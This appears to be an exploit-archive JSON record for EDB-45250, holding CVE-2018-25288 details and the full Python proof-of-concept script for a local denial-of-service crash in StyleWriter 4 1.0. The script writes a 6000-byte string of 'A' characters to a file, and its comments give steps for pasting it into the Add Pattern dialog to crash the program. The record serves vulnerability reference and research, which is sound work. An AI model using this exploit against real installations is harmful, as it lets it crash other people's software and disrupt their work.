{"exploit":{"id":"EDB-45250","name":"Editorsoftware StyleWriter 4 1.0 - Denial of Service (DoS) (PoC)","description":"Editorsoftware StyleWriter 4 1.0 - Denial of Service (DoS) (PoC)","cves":["CVE-2018-25288"],"author":"Gionathan Reale","published":"2018-08-23","platform":"windows_x86","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45250","path":"exploits/windows_x86/dos/45250.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45250.py","vulnerabilities":[{"id":"CVE-2018-25288","state":"PUBLISHED","title":"StyleWriter 1.0 Denial of Service via Pattern Input","titleSource":"CVE Program","description":"StyleWriter 1.0 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string. Attackers can paste a 6000-byte payload into the Pattern to Find or Advice Message fields in the Add Pattern dialog to trigger a denial of service condition.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25288","cvss":{"version":"4.0","baseScore":6.9,"severity":"medium","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25288"},"updatedAt":"2026-04-27T14:06:22.237Z","retrievedAt":"2026-11-27T13:51:26.001Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45250.png?v=2","url":"https://exploitbin.com/exploits/EDB-45250","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45250/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45250/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Exploit Title: StyleWriter 4 1.0 - Denial of Service (PoC)\n# Author: Gionathan \"John\" Reale\n# Discovey Date: 2018-08-23\n# Homepage: http://www.editorsoftware.com\n# Software Link: http://www.editorsoftware.com/StyleWriter_Download.php\n# Tested Version: 1.0\n# Tested on OS: Windows 7 32-bit\n# Steps to Reproduce: Run the python exploit script, it will create a new\n# file with the name \"exploit.txt\" just copy the text inside \"exploit.txt\"\n# and start the program. In the new window click \"Tools\" >\"Add Pattern...\".\n# Now in the new window paste the content of\n# \"exploit.txt\" into the following fields:\"Pattern to Find\" & \"Advice Message\".\n# Click \"Add\" and you will see a crash.\n\n\nbuffer = \"A\" * 6000\n\npayload = buffer\ntry:\n    f=open(\"exploit.txt\",\"w\")\n    print \"[+] Creating %s bytes evil payload..\" %len(payload)\n    f.write(payload)\n    f.close()\n    print \"[+] File created!\"\nexcept:\n    print \"File cannot be created\"","sha256":"fab0f261503698d00245be769410a6d3697f4072861e227b500416852f0c4895","bytes":944,"fetchedAt":"2026-11-27T17:10:21.083Z","encoding":"utf-8 (display only; download retains original bytes)"}